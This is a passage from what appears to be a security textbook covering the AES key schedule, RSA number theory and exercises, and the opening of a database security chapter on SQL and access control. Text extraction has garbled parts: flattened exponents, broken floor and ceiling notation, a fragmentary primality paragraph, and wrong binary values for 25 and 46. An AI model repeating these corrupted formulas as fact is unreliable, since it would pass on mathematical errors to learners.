.

Given this starting point, we determine the columns, W[4i], W[4i + 1],
W[4i + 2], and W[4i + 3], for the round i key matrix from the columns,
W[4i− 4], W[4i− 3], W[4i− 2], and W[4i− 1], of the round i− 1 key matrix.

The first column we compute, W[4i], is special. It is computed as

W[4i] = W[4i− 4]⊕ Ti(W[4i− 1]),

where Ti is a special transformation that we will describe shortly. Given
this first column, the other three columns are computed as follows, and in
this order. (See Figure 15.)

W[4i + 1] = W[4i− 3]⊕W[4i]
W[4i + 2] = W[4i− 2]⊕W[4i + 1]
W[4i + 3] = W[4i− 1]⊕W[4i + 2].
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Figure 15: The key schedule for AES encryption.

Ti Transformation

The transformation, Ti(W[4i − 1]), which is performed as a part of the
computation of W[4i], involves a number of elements. Let w0, w1, w2, and
w3 denote the 4 bytes of W[4i − 1], in order. For each wj, j = 0, 1, 2, 3,
let S(wi) denote the substitution transformation determined by the S-box
used in the SubBytes step (see Figure 14) applied to wj. In addition, let
R(i) denote an 8-bit round constant, which is defined recursively, so that
R(1) = 00000001, and, for i ≥ 2,

R(i) = R(i− 1) · 00000010,

computed in the GF(28). That is, R(i) is an 8-bit representation of the
Boolean polynomial

xi−1 mod (x8 + x4 + x3 + x + 1).

The round constant R(i) is used in the computation of the key matrix for
Round i. In hexadecimal, the first ten round constants are 01, 02, 04, 08, 10,
20, 40, 80, 1b, and 36, which are all that is needed for AES encryption with
128-bit keys. Given all these elements, the transformation Ti(W[4i − 1]) is
defined as follows:


w0
w1
w2
w3

 →


S(w1)⊕ R(i)
S(w2)
S(w3)
S(w0)

 .

Cryptography

430



That is, to compute Ti on W[4i− 1], we do a cyclical left shift of the bytes in
W[4i − 1], perform an S-box transformation of each shifted byte, and then
exclusive-or the first byte with the round constant, R(i). It is admittedly
somewhat complicated, but each of these elements are relatively fast to
perform in either software or hardware. Thus, since each step of the AES
encryption involves these fast operations, and the number of rounds in the
AES encryption algorithm is relatively small, the entire AES encryption
algorithm can be performed relatively quickly. And, just as importantly,
each step of the AES can be reversed, so as to allow for AES decryption.
Moreover, this amounts to a symmetric encryption scheme, since we use
the same key for both encryption and decryption.

5.2 Details for RSA

To understand the details of the RSA algorithm, we need to review some
relevant facts of number theory.

Fermat’s Little Theorem

We begin our number theory review with Fermat’s Little Theorem .

Theorem 1: Let p be a prime number and g be any positive integer less
than p. Then

gp−1 mod p = 1.

Proof: Because arithmetic in this case is done modulo p, this means that
we are working in the number system Zp. Moreover, since p is prime, every
nonzero number less than p has a multiplicative inverse in Zp. Therefore, if
ag mod p = bg mod p, for a, b ∈ Zp, then a = b. So the numbers 1g mod p,
2g mod p, 3g mod p, . . ., (p− 1)g mod p must all be distinct. That is, they
are the numbers 1 through p− 1 in some order. Thus,

(1g) · (2g) · (3g) · · · ((p− 1)g) mod p = 1 · 2 · 3 · · · (p− 1) mod p.

In other words,

(1 · 2 · · · (p− 1))gp−1 mod p = (1 · 2 · · · (p− 1)) mod p.

Therefore,
gp−1 mod p = 1.
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Euler’s Theorem

An important generalization to Fermat’s Little Theorem is based on a
function known as Euler’s Totient Function, φ(n). For any positive integer,
n, the function φ(n) is equal to the number of positive integers that are
relatively prime with n. Thus, for example, if p is prime, then φ(p) = p− 1,
and if n is the product of two primes, p and q, then φ(n) = (p− 1)(q− 1).
The generalization to Fermat’s Little Theorem is known as Euler’s Theorem,
which is as follows.

Theorem 2: Let x be any positive integer that is relatively prime to the
integer n > 0, then

xφ(n) mod n = 1.

Proof: The proof of Euler’s Theorem is similar to that of Fermat’s Little
Theorem. Let Z∗n denote the set of positive integers that are relatively prime
to n, so that the number of integers in Z∗n is φ(n). Also, note that each integer
in Z∗n has a multiplicative inverse in Z∗n. So multiplying each member of Z∗n
modulo n by x will give all the members of Z∗n back again in some order.
Thus, the product of all the xi values, modulo n, for i ∈ Z∗n is the same as
the product of the same i values. Therefore, cancelling out matching terms
implies this theorem.

As a corollary of this fact, we have the following:

Corollary 3: Let x be a positive integer relatively prime to n, and k be any
positive integer. Then

xk mod n = xk mod φ(n) mod n.

Proof: Write k = qφ(n) + r, so that r = k mod φ(n). Then

xk mod n = xqφ(n)+r mod n
= xqφ(n) · xr mod n
= (xqφ(n) mod n) · (·xr mod n)
= 1 · (xr mod n)
= xr mod n

xk mod φ(n) mod n.
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Euclid’s GCD Algorithm

One of the key algorithms for dealing with the types of large numbers that
are used in modern cryptography is one invented by the ancient Greek
mathematician Euclid. In fact, it is quite remarkable that the cryptographic
methods that allow for secure transactions on the Internet trace their roots
to a time before algebra even existed. Nevertheless, we will take advantage
of this more recent invention in describing how Euclid’s algorithm works
and how it can be used to facilitate arithmetic in Zn.

Euclid’s algorithm computes the greatest common divisor (GCD) of two
numbers, a and b. That is, Euclid’s algorithm computes the largest number,
d, that divides both a and b (evenly with no remainder). The algorithm
itself is remarkably simple, but before we can describe it in detail we need
to discuss some background facts. The first fact is as follows.

Theorem 4: The GCD d of two numbers, a > 0 and b ≥ 0, is the smallest
positive integer d such that

d = ia + jb,

for integers i and j.

Proof: Let e be the GCD of a and b. We show that d = e by first arguing
why d ≥ e and then showing that d ≤ e. Note first that, since e divides both
a and b evenly, it divides d as well. That is,

d/e = (ia + jb)/e = i(a/e) + j(b/e),

which must be an integer. Thus, d ≥ e.
Next, let f = ba/dc, and note that f satisfies the following:

a mod d = a− f d
= a− f (ia + jb)
= (1− f i)a + (− f j)b.

In other words, the number, a mod d, can be written as the sum of a
multiple of a and a multiple of b. But, by definition, a mod d must be strictly
less than d, which is the smallest positive integer that can be written as the
sum of a multiple of a and a multiple of b. Thus, the only possibility is
that a mod d = 0. That is, d is a divisor of a. Also, by a similar argument,
b mod d = 0, which implies that d is also a divisor of b. Therefore, d is a
common divisor of a and b; hence, d ≤ e, since e is the greatest common
divisor of a and b.
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Note that an immediate consequence of this theorem is that the GCD
of any number a and 0 is a itself. Given the theorem above and this little
observation, we are ready to present Euclid’s algorithm. We describe it
so that it takes two integers a and b, with a being the larger, and returns
a triple, (d, i, j), such that d is the GCD of a and b. The key idea behind
Euclid’s algorithm is that if d is the GCD of a and b, and b > 0, then d is also
the GCD of b and the value, a mod b; hence, we can repeat this process to
find the GCD of a and b. For example, consider the following illustration of
this process:

GCD(546, 198) = GCD(198, 546 mod 198) = GCD(198, 150)
= GCD(150, 198 mod 150) = GCD(150, 48)
= GCD(48, 150 mod 48) = GCD(48, 6)
= GCD(6, 48 mod 6) = GCD(6, 0)
= 6.

Thus, the greatest common divisor of 546 and 198 is 6.

The Extended Euclidean Algorithm

To compute the GCD of a and b, we first test if b is zero, in which case the
GCD of a and b is simply a; hence, we return the triple (a, 1, 0) as the result
of our algorithm. Otherwise, we recursively call the algorithm, getting the
triple, (d, k, l), resulting from a call to our algorithm with arguments b and
a mod b. Let us write a = qb + r, where r = a mod b. Thus,

d = kb + lr
= kb + l(a− qb)
= la + (k− lq)b.

Therefore, d is also the sum of a multiple of a and a multiple of b. So, in this
case, we return the triple (d, l, k − lq). This algorithm, which is known as
the extended Euclidean algorithm, is shown in Figure 16.

Algorithm GCD(a, b):
if b = 0 then {we assume a > b}

return (a, 1, 0)
Let q = ba/bc
Let (d, k, l) = GCD(b, a mod b)
return (d, l, k− lq)

Figure 16: The extended Euclidean algorithm.
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Let us argue why this algorithm is correct. Certainly, if b = 0, then
a is the GCD of a and b; hence, the triple returned by extended Euclid’s
algorithm is correct. Suppose, for the sake of an inductive argument, that
the recursive call, GCD(a, a mod b), returns the correct value, d, as the GCD
of a and a mod b. Let e denote the GCD of a and b. We have already argued
how d can be written as the sum of a multiple of a and a multiple of b. So
if we can show that d = e, then we know that the triple returned by the
algorithm is correct. First, let us write a = qb + r, where r = a mod b, and
note that

(a− qb)/e = (a/e)− q(b/e),

which must be an integer. Thus, e is a common divisor of a and r = a− qb =
a mod b. Therefore, e ≤ d. Next, note that, by definition, d divides b and
a− qb. That is, the following is an integer:

(a− qb)/d = (a/d)− q(b/d).

Moreover, since b/d must be an integer, this implies that a/d is an integer.
Thus, d is a divisor of both a and b. Therefore, d ≤ e. That is, d is the greatest
common divisor of a and b.

Modular Multiplicative Inverses

As it turns out, computing the GCD of pairs of integers is not the main use
of the extended Euclidean algorithm. Instead, its main use is for computing
modular multiplicative inverses.

Suppose we have a number, x < n, and we are interested in computing
a number, y, such that

yx mod n = 1,

provided such a number exists. In this case, we say that y is the multiplica-
tive inverse of x in Zn, and we write y = x−1 to indicate this relationship.
To compute the value of y, we call the extended Euclidean algorithm to
compute the GCD of x and n. The best case is when x and n are relatively
prime, that is, their greatest common divisor is 1. For when x and n
are relatively prime, then the multiplicative inverse of x in Zn exists. In
this case, calling the extended Euclidean algorithm to compute GCD(n, x)
returns the triple (1, i, j), such that

1 = ix + jn.

Thus,
(ix + jn) mod n = ix mod n = 1.

Therefore, i is the multiplicative inverse, x−1, in Zn, in this case. Moreover,
if our call to the extended Euclidean algorithm to compute GCD(n, x)
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returns a greatest common divisor greater than 1, then we know that the
multiplicative inverse of x does not exist in Zn.

The Efficiency of the Extended Euclidian Algorithm

The other nice thing about the extended Euclidean algorithm is that it is
relatively fast. It is easy to show that every two consecutive recursive calls
made during the extended Euclidean algorithm will halve the magnitude of
the first argument (recall, for instance, the example we gave of the process
that forms the basis of Euclid’s algorithm). Thus, the running time of the
extended Euclidean algorithm is proportional to

dlog ae,

which is equal to the number of bits needed to represent a. Therefore, the
extended Euclidean algorithm runs in linear time with respect to the size
of its input; hence, computing multiplicative inverses in Zn can be done in
linear time.

Modular Exponentiation

Another important computational tool used in modern cryptography is
modular exponentiation. In this instance, we are given three positive
integers, g, n, and p, which are represented in binary, and we want to
compute

gn mod p.

Of course, one way to calculate this value is to initialize a running
product, q, to 1, and iteratively multiply q with g, modulo p, for n iterations.
Such a straightforward algorithm would clearly use n modular multiplica-
tions. Unfortunately, if n is relatively large, then this is an expensive way to
do modular exponentiation. Indeed, since the number n is represented in
binary using

dlog ne

bits, this straightforward way of performing modular exponentiation re-
quires a number of multiplications that are exponential in the input size.
This algorithm is therefore way too slow for practical use in cryptographic
computations.
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Repeated Squaring

Fortunately, there is a better algorithm that runs much faster. The main
purpose of this algorithm is to compute gn using repeated squaring. That
is, using multiplications modulo p, we compute g, g2 = g · g, g4 = g2 · g2,
g8 = g4 · g4, and so on. This approach allows us to iteratively build up
powers of g with exponents that are powers of 2. Then, given the binary
representation of a number, n, we can compute gn from these powers of g
based on this binary representation. For example, we could compute g25 as

g25 = g16+8+1 = g16 · g8 · g1,

since 25 = 11, 000 in binary. Or we could compute g46 as

= g32+8+4+2 = g32 · g8 · g4 · g2,

since 46 = 101, 000 in binary. We give a pseudo-code description of the
repeated squaring algorithm in Figure 17.

Algorithm ModularExponentiation(g, n, p):
q = 1 {The running product}
m = n {A copy of n that is destroyed during the algorithm}
s = g {The current square}
while m ≥ 1 do

if m is odd then
q = q · s mod p

s = s · s mod p {Compute the next square}
m = bm/2c {This can be done by a right shift}

Figure 17: The repeated squaring algorithm for computing g nmod p.

Note that this algorithm uses a number of multiplications that are
proportional to the number of bits used to represent n. Thus, this algorithm
uses a linear number of multiplications, which is clearly much better than
an exponential number. The take-away message, therefore, is that modular
exponentiation is a tool that can be used effectively in modern cryptogra-
phy. It is not as fast as a single multiplication or even symmetric encryption
methods though, so we should try not to overuse modular exponentiation
when other faster methods are available.
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Primality Testing

Yet another important computation that is often used in modern cryptogra-
phy is primality testing. In this instance, we are given a positive integer, n,
and we want to determine if n is prime or not. That is, we want to determine
if the only factors of n are 1 and n itself. Fortunately, there are efficient
methods for performing such tests. Even so, the details of these methods
are fairly complicated; hence, they are beyond the scope of this section.

One thing we mention, however, is that none of these methods actually
factor n. They just indicate whether n is prime or not. Moreover, the
fact that no primality testing algorithm actually factors n has given rise
to a general belief in cryptographic circles that the problem of factoring
a large number, n, is computationally difficult. Indeed, there are several
cryptographic methods, including the RSA cryptosystem we discuss in the
next section, whose security is based on the difficulty of factoring large
numbers.

Given an efficient way of performing primality testing, actually gener-
ating a random prime number is relatively easy. This simplicity is due to an
important fact about numbers, which is that the number of prime numbers
between 1 and any number n is at least n/ ln n, for n ≥ 4, which is a
property derived from the Prime Number Theorem, whose exact statement
and proof are beyond the scope of this section. In any case, simply know-

n is at least n/ ln n is suffi-

q between n/2 and n, then q will be prime with
least 1/ ln n. Thus, if we repeat this process a logarithmic

testing each number generated for primality, then one
numbers is expected be prime.

How RSA is Typically Used

Even with an efficient implementation, the RSA cryptosystem is orders-of-
magnitude slower than the AES symmetric cryptosystem (Section 1.6).
Thus, a standard approach to encryption is as follows:

1. Encrypt a secret key, K, with the RSA cryptosystem for the AES
symmetric cryptosystem.

2. Encrypt with AES using key K.
3. Transmit the RSA-encrypted key together with the AES-encrypted

document.
The above method illustrates a common use of public-key cryptography in
conjunction with a symmetric cryptosystem.
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6 Exercises

For help with exercises, please visit securitybook.net.

Reinforcement

R-1 Eve has tricked Alice into decrypting a bunch of ciphertexts that
Alice encrypted last month but forgot about. What type of attack is
Eve employing?

R-2 Eve has an antenna that can pick up Alice’s encrypted cell phone
conversations. What type of attack is Eve employing?

R-3 Eve has given a bunch of messages to Alice for her to sign using
the RSA signature scheme, which Alice does without looking at the
messages and without using a one-way hash function. In fact, these
messages are ciphertexts that Eve constructed to help her figure out
Alice’s RSA private key. What kind of attack is Eve using here?

R-4 Eve has bet Bob that she can figure out the AES secret key he shares
with Alice if he will simply encrypt 20 messages for Eve using that
key. For some unknown reason, Bob agrees. Eve gives him 20
messages, which he then encrypts and emails back to Eve. What
kind of attack is Eve using here?

R-5 What is the encryption of the following string using the Caesar
cipher: THELAZYFOX.

R-6 What are the substitutions for the (decimal) numbers 12, 7, and 2
using the S-box from Figure 3?

R-7 What are the next three numbers in the pseudo-random number
generator 3xi + 2 mod 11, starting from 5?

R-8 What is the Hill cipher that corresponds to the permutation cipher

π : (1, 2, 3, 4, 5, 6, 7, 8)→ (2, 6, 8, 1, 3, 7, 5, 4)?

R-9 In the inverse of the S-box from Figure 14, what is the substitution
for e3, in hexadecimal?

R-10 What would be the transformation done by three consecutive ap-
plications of the ShiftRows step in the AES encryption algorithm?

R-11 How many keys can be used with each of the three key lengths for
the AES cryptosystem.
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R-12 Bob is arguing that if you use Electronic Codebook (ECB) mode
twice in a row to encrypt a long message, M, using the same key
each time, that it will be more secure. Explain why Bob is wrong in
the case of using a binary one-time pad encryption scheme.

R-13 Show the steps and intermediate results of applying the extended
Euclidean algorithm to compute the GCD of 412 and 200.

R-14 Compute the multiplicative inverse of 5 in Z21.
R-15 What is 7 mod 11?16

R-16 Roughly how many times would you have to call a primality tester
to find a prime number between 1,000,000 and 2,000,000?

R-17 What is 7120 mod 143?
R-18 Show the result of encrypting M = 4 using the public key (e, n) =

(3, 77) in the RSA cryptosystem.
R-19 Why can’t Bob use the pair (1, n) as an RSA public key, even if

n = pq, for two large primes, p and q?
R-20 Alice is telling Bob that he should use a pair of the form (3, n)

or (16385, n) as his RSA public key, where, as usual, n = pq, for
two large primes, p and q, if he wants people to encrypt messages
for him from their cell phones. What is the justification for Alice’s
advice?

R-21 Show the result of an Elgamal encryption of the message M = 8
using k = 4 for the public key (p, g, y) = (59, 2, 25).

R-22 Demonstrate that the hash function

H(x) = 5x + 11 mod 19

is not weakly collision resistant, for H(4), by showing how easy it
is to find such a collision.

R-23 Demonstrate that the hash function

H(x) = 5x + 11 mod 23

is not strongly collision resistant, by showing how easy it is to find
such a collision.

R-24 Explain why nonforgeability and nonmutability imply nonrepudi-
ation for digital signatures.

R-25 Explain the strengths and weaknesses of using symmetric encryp-
tion, like AES, versus a public-key cryptosystem, like RSA.

R-26 Name two things that the RSA and ElGamal cryptosystems have
in common, other than the fact that they are both public-key cryp-
tosystems?
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Creativity

C-1 What is the plaintext for the following ciphertext, which was en-
crypted using a simple substitution cipher:
CJBT COZ NPON ZJV FTTK TWRTUYTFGT NJ DTN O XJL. Y
COZ ZJV CPJVIK DTN O XJL MYUCN.

C-2 ROT13 is a cyclic shift cipher that substitutes each English letter
with one that is 13 away in the alphabet. It is used today not for
security, but as a simple obfuscation device, because the same algo-
rithm is used for both encryption and decryption. People wishing
to encrypt or decrypt a message, M (such as a spoiler paragraph
in a movie review), just cut-and-paste M to a ROT13 converter and
click a button “APPLY” to do the encryption or decryption. Give
an example of another ROTi transformation that could be used for
both encryption and decryption in a similar way.

C-3 In a special case of a permutation cipher, we take a message,
M, and write its letters in an s × t table, in a row-major fashion,
and then let the ciphertext be a column-major listing of the
the entries in the table. For example, to encrypt the message
ATTACKATDAWN, using a 3× 4 table, we would write the message as
ATTA
CKAT
DAWN
and then write down the ciphertext as ACDTKATAWATN. The
secret key in this cryptosystem is the pair (s, t). How is decryption
done in this cryptosystem? Also, how hard would it be to attack
this cryptosystem using a ciphertext-only attack?

C-4 How many valid English plaintexts are there for the ciphertext
message CJU using a length-3, one-time pad of cyclic shifts,
(i, j, k)?

C-5 Alice is using a linear congruential generator, ax i+ b mod 13, to
generate pseudo-random numbers. Eve sees three numbers in a
row, 7, 6, 4, that are generated from Alice’s function. What are the
values of a and b?

C-6 Bob is arguing that if you use output feedback (OFB) mode twice in
a row to encrypt a long message, M, using the same key each time,
it will be more secure. Explain why Bob is wrong, no matter what
encryption algorithm he is using for block encryption.

C-7 Why can’t Bob use the pair (6, n) as an RSA public key, where n =
pq, for two large primes, p and q?

Cryptography

441



C-8 Use Euler’s Theorem, not repeated squaring, to compute

2010203 mod 10403.

Show your work.
C-9 Suppose we use the AES algorithm with a fixed key, K, to imple-

ment a cryptographic hash function. That is, we define

H(M) = AESK(M).

Argue why this algorithm is likely to be weakly collision resistant.
C-10 Alice wants to send Bob a message, M, that is the price she is

willing to pay for his used car (M is just an integer in binary). She
uses the RSA algorithm to encrypt M into the ciphertext, C, using
Bob’s public key, so only he can decrypt it. But Eve has intercepted
C and she also knows Bob’s public key. Explain how Eve can alter
the ciphertext C to change it into C0 so that if she sends C0 to Bob
(with Eve pretending to be Alice), then, after Bob has decrypted C0,
he will get a plaintext message that is twice the value of M.

C-11 An Internet game show has asked if Alice is willing to commit
today to whether she will marry Bob, who is either an ex-con with a
dragon tattoo on his face or a former male model who just won the
tristate lottery. Next week, the real identity of Bob will be revealed,
at which time Alice must also reveal her answer (which she has
already committed to). Explain a secure and confidential way that
Alice can commit to her answer now that prevents her from forging
her response next week when she learns who Bob really is.

C-12 Suppose the primes p and q used in the RSA algorithm to define
n = pq are in the range [

√
n− 100,

√
n + 100]. Explain how you can

efficiently factor n using this information. Also, explain how this
knowledge breaks the security of the RSA encryption algorithm.

C-13 Bob is stationed as a spy in Cyberia for a week and wants to
prove that he is alive every day of this week and has not been
captured. He has chosen a secret random number, x, which he
memorized and told to no one. But he did tell his boss the value
y = H(H(H(H(H(H(H(x))))))), where H is a one-way crypto-
graphic hash function. Unfortunately, he knows that the Cyberian
Intelligence Agency (CIA) was able to listen in on that message;
hence, they also know the value of y. Explain how he can send a
single message every day that proves he is still alive and has not
been captured. Your solution should not allow anyone to replay
any previous message from Bob as a (false) proof he is still alive.
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C-14 Bob has modulus n and exponent e as his RSA public key, (e, n).
He has told Eve that she can send him any message M < n and
he is willing to sign it using a simple RSA signature method to
compute S = Md mod n, where d is his private RSA exponent, and
he will return the signature S to Eve. Unfortunately for Bob, Eve
has captured a ciphertext C that Alice encrypted for Bob from her
plaintext P using his RSA public key. (Bob never actually got C.)
Eve wants to trick Bob into decrypting C for her and she doesn’t
want Bob to see the original plaintext P that goes with C. So Eve
asks Bob to sign the message M = reC mod n using his private
RSA exponent, and send her back the signature S for M, where
r is a random number that Eve chose to be relatively prime to n.
Explain how Eve can use Bob’s signature, S, on M, to discover the
plaintext, P, for C.

C-15 Let p be a prime. Give an efficient alternative algorithm for com-
puting the multiplicative inverse of an element of Zp that is not
based on the extended Euclidean algorithm. (Hint: Use Fermat’s
Little Theorem.)

Projects

P-1 Write a program that can implement arbitrary substitution ciphers.
The substitution should be specified by a conversion table for
letters, which should be the same for both uppercase and lowercase
letters.

P-2 Write a program that can perform AES encryption and decryption.

P-3 Write a program that can implement RSA setup, encryption, and
decryption.

P-4 Write a program that can implement ElGamal setup, encryption,
and decryption.

P-5 Write a program that can implement ElGamal digital signatures.
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Chapter Notes

A more detailed coverage of cryptography can be found in the books by Ferguson,
Schneier and Konho [30], Menezes et al. [58], Stinson [97], and Trappe and Wash-
ington [103]. Simon Singh gives a historical perspective on cryptography [95] in his
best-selling title “The Code Book”. The Hill cipher was published in 1929 by Lester
Hill [39]. The first known description of the one-time pad algorithm was given in
a patent issued in 1919 to Gilbert Vernam [106]. This cryptosystem was proven
secure in 1949 by Claude Shannon [92]. Declassified details about the Venona
Project can be found at a web site [66] of the U.S. National Security Agency (NSA).
Additional details about AES, the Advanced Encryption Standard, are contained
in a book by its designers, Daemen and Rijmen [22]. The concept of public-
key cryptography is credited (in unclassified circles) to Diffie and Hellman [26].
The RSA public-key cryptosystem and digital signature scheme were discovered
by Rivest, Shamir, and Adleman [82]. The Elgamal cryptosystem and signature
scheme are due to Taher Elgamal [28]. Additional details about cryptographic
hash functions can be found in a survey by Preneel [77]. The Merkle-Damgård
construction is described in [23]. Chosen-prefix collisions attacks on the MD5 hash
function wre found by Stevens, Lenstra and de Weger [53].
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1 Database Security

Databases are often crucial elements of internal networks and web appli-
cations. Because databases play such an important role in storing large
amounts of potentially valuable information, they are often the target of
attacks by malicious parties seeking to gain access to this data. Thus, an
important element of computer security involves protecting the confiden-
tiality, integrity, and availability of information stored in databases.

In addition, databases often contain sensitive information that may
reveal details about individuals as well, so another security concern with
respect to databases is privacy. (See Figure 1.)

Database

Access Control

Distributed
updatesp

Features
Queries

AvailabilityConfidentiality AvailabilityConfidentiality

Integrity Privacy

Figure 1: Databases must deal with distributed updates and queries,
while supporting confidentiality, availability, integrity, and privacy. Doing
this requires strong access control as well as mechanisms for detecting and
recovering from errors.
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1.1 Tables and Queries

A very common way to store information is to use a relational database.
In this approach, information is organized into a collection of tables. Each
row of a table is a record that stores related information about some entity
and each column is associated with an attribute that the entity can possess.
An example table of a relational database is shown in Figure 2.

Num Name Inaugural Age Age at Death
1 George Washington 57.2 67.8
2 John Adams 61.3 90.7
3 Thomas Jefferson 57.9 83.2
4 James Madison 58.0 85.3
5 James Monroe 58.8 73.2
6 John Quincy Adams 57.6 80.6
7 Andrew Jackson 62.0 78.2
...

...
...

...
26 Theodore Roosevelt 42.9 60.2
27 William Howard Taft 51.5 72.5
28 Woodrow Wilson 56.2 67.1
29 Warren G. Harding 55.3 57.7
30 Calvin Coolidge 51.1 60.5
31 Herbert Hoover 54.6 90.2
32 Franklin D. Roosevelt 51.1 63.2
33 Harry S. Truman 60.9 88.6
34 Dwight D. Eisenhower 62.3 78.5
35 John F. Kennedy 43.6 46.5
36 Lyndon B. Johnson 55.2 64.4
37 Richard Nixon 56.0 81.3
38 Gerald Ford 61.0 93.5
39 Jimmy Carter 52.3
40 Ronald Reagan 70.0 93.3
41 George H.W. Bush 64.6
42 Bill Clinton 46.4
43 George W. Bush 54.5
44 Barack Obama 47.5

Figure 2: A relational database table, Presidents, storing data about U.S.
presidents. This table has 44 records (rows) and 4 attributes (columns), the
last two of which are numeric values (expressing years) or null values.
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SQL Queries

• SELECT: to express queries
• INSERT: to create new records
• UPDATE: to alter existing data
• DELETE: to delete existing records
• Conditional statements using WHERE, and basic boolean operations

such as AND and OR: to identify records based on certain conditions
• UNION: to combine the results of multiple queries into a single result
These commands can be combined to produce queries that extract data,

or updates that make changes to the database. Suppose, for example, we
were to issue the following query on the table of Figure 2.:

SELECT * FROM Presidents WHERE Inaugural_Age < 50

This query is designed to find and return all the U.S. presidents who
were younger than 50 when they were inaugurated. The star symbol (*)
specifies to return all the attributes of the resulting records. This query
would return the following table, which consists of a subset of the records
of table Presidents:

Num Name Inaugural Age Age at Death
11 James K. Polk 49.3 53.6
14 Franklin Pierce 48.3 64.9
18 Ulysses S. Grant 46.9 63.2
20 James A. Garfield 49.3 49.8
22 Grover Cleveland 48.0 71.3
26 Theodore Roosevelt 42.9 60.2
35 John F. Kennedy 43.6 46.5
42 Bill Clinton 46.4
44 Barack Obama 47.5

More complex queries are also possible, such as one to find all U.S. pres-
idents who were less than 50 when they took office and died during their
first term:

SELECT * FROM Presidents WHERE (Inaugural_Age < 50)
AND (Age_at_Death - Inaugural_Age < 4.0)

This query would return the following set of records:
Num Name Inaugural Age Age at Death

20 James A. Garfield 49.3 49.8
35 John F. Kennedy 43.6 46.5

Distributed-Applications Security

Most databases use a language known as SQL (Structured Query 
Language) to support queries and updates, using commands that include
the following:
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1.2 Updates and the Two-Phase Commit Protocol

In addition to queries that extract information from a database, authorized
users can also update the contents of a database using SQL commands. For
example, the following update operation would delete all of those records
from the Presidents table that correspond to U.S. presidents who were less
than 50 years old when they were inaugurated:

DELETE FROM Presidents WHERE Inaugural_Age < 50

In addition, the following update operation would add a new record to
the Presidents table:

INSERT INTO Presidents
VALUES (45, ’Arnold Schwarzenegger’, 65.5, NULL)

Database updates can be more fine-grained than just inserting and
deleting entire records, however. We can also alter the contents of indi-
vidual attribute values in specific records. For example, continuing our
running example, one would imagine that, prior to December 26, 2006, the
Presidents table contained the following record:

Num Name Inaugural Age Age at Death
38 Gerald Ford 61.0

After December 26, 2006, however, one would expect that an agent who
is authorized to make changes to this table would have issued a command
like the following:

UPDATE Presidents
SET Age_at_Death=93.5
WHERE Name=’Gerald Ford’

This command would have updated just a single attribute value—the
Age_at_Death field—for a single record—the one that has a name field that
matches the string ’Gerald Ford’—resulting in the record above to change
as follows:

Num Name Inaugural Age Age at Death
38 Gerald Ford 61.0 93.5

Ideally, a database would allow for multiple authorized agents to be
updating and querying a database at the same time. All of these operations
would be logged to an audit file, to provide a lasting record of the types
of information that were extracted from the database and a history of the
changes that were made to that database as well.

Distributed-Applications Security

449



Two-Phase Commit

One of the big challenges of allowing for multiple agents to be updating
a database at the same time in a distributed fashion on a network is that
update operations can conflict. For example, if Alice wants to delete a
record and Bob wants to change one of the attribute values for that same
record at the same time, then there is a problem. In addition, even if
multiple simultaneous updates don’t conflict, there is a chance that there
could be a computer or network failure during one of these updates so
that it doesn’t completely finish the update. Such a failure could leave the
database in an inconsistent state, which could even make it unusable.

To cope with with these consistency and reliability issues, most
databases employ a protocol called two-phase commit for performing up-
dates. The sequence of operations proceeds along two phases:

1. The first phase is a request phase, in which all the parts of the database
that need to change as a result of this update are identified and
flagged as being intended for this change. The result of this phase
is either that it completes successfully, and every change requested
is available and now flagged to be changed, or it aborts, because
it couldn’t flag all the parts it wanted (say, because someone else
already flagged it) or because of a network or system failure. If the
first phase aborts, then all its requested changes are reset, which is
always possible, because no permanent changes have been made yet.
If the first phase completes successfully, then the protocol continues
to the second phase.

2. The second phase is the commit phase, in which the database locks
itself into other changes and performs the sequence of changes that
were identified in the request phase. If it completes successfully, then
it clears all the flags identifying requested changes and it releases the
lock on the database. If, on the other hand, this operation fails, then it
rolls back, that is, reverses, all the changes made back to the state the
database was in just after completing the first phase.

This two-phase commit protocol is therefore a feature that a database
can use to help achieve both integrity and availability. It supports integrity,
because the database is always either in a consistent state or it can be rolled
back to consistent state. This protocol supports availability, as well, because
the database is never put into a state of internal inconsistency that would
cause the database management system to crash.
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1.3 Database Access Control

Databases employ several security measures to prevent attacks, protect
sensitive information, and establish a security model that minimizes the
impact of database compromise. While implementation details depend
on the database, most databases provide a system of access control that
allows administrators to dictate exactly what certain users and groups are
permitted to do in relation to that database.

For instance, many systems implement an access-control list (ACL)
scheme similar to those used by operating systems. A simple access-control
system might allow a web application to perform search queries on the
data and insert new records, for example, but not create or remove tables
or execute system commands via the database. More complicated sets of
rules may also be used to define different sets of permissions for multiple
users. For example, a database that includes tables of student records and
university employment records might allow faculty members to insert and
update grades for students, but not allow them to make changes to their
own employment records. A dean, on the other hand, might be granted
rights to make additions and modifications to both student and employee
records.

In general, being able to define access-control permissions for the var-
ious users of a database can be a significant benefit, helping to minimize
damage from insider attacks, such as information leakage by overly curious
employees or students who try to change the grades in their transcripts. A

Properly defined access permissions can also be a critical preventive
measure for database compromise in the event of an intrusion. For ex-
ample, consider a database that stores information for two sections of
a subscription-based news web site, articles and photos in one section,
and financial records about customers in the other section (e.g., credit
card numbers). In this case, the database and web application should
be configured so that each portion of the application only has access to
the necessary information for that portion. With this safety measure in
place, if the unprivileged news section of the web site is compromised, the
attacker would be unable to access sensitive customer information. Thus,
by designing access privileges using the concepts of least privilege and
separation of privilege, damage from intrusions can be minimized.
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proper set of access controls should implement a least-privilege principle, 
so that each user has the necessary rights to perform their required tasks, but
no rights beyond that.
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Access Control Using SQL

SQL defines an access control framework that is commonly used for defin-
ing database privileges. When a table is created, the owner of the table
has the sole rights to perform operations on that table. The owner can
then grant privileges to other users, which is known as privilege delega-
tion. These privileges may be broad, such as the ability to do anything
to a particular table, or fine-grained, such as the ability to perform only
SELECT queries on certain columns. For example, the owner of a table
may issue the following SQL command to give Alice the ability to search
through table employees:

GRANT SELECT ON employees TO Alice;

Other permissions that can be provided using the GRANT keyword
include DELETE, INSERT, and UPDATE. In addition, to grant all available
rights one can use the ALL keyword.

Permissions can be granted to individuals or to everyone (using the
PUBLIC keyword). In addition, permissions can be granted to roles, al-
lowing for role-based access control for a database.

In addition, the owner of a table can create a virtual subset of the data
known as a view, which can then be accessed by other users. For example,
the owner of a table may wish to allow a user, Alice, to update only her
own information. This can be accomplished by creating a view of the total
dataset that only includes Alice’s data, and granting update access on this
view to Alice.

Privilege Delegation and Revocation

In addition to being able to grant certain privileges to other users, table
owners can also allow other users to grant privileges for those tables, which
is known as policy authority delegation. Specifically, when granting a
privilege to a user as in the above examples, the grantor can include the
clause WITH GRANT OPTION to give the recipient the ability to further
delegate that privilege. For example, an administrator might create a view
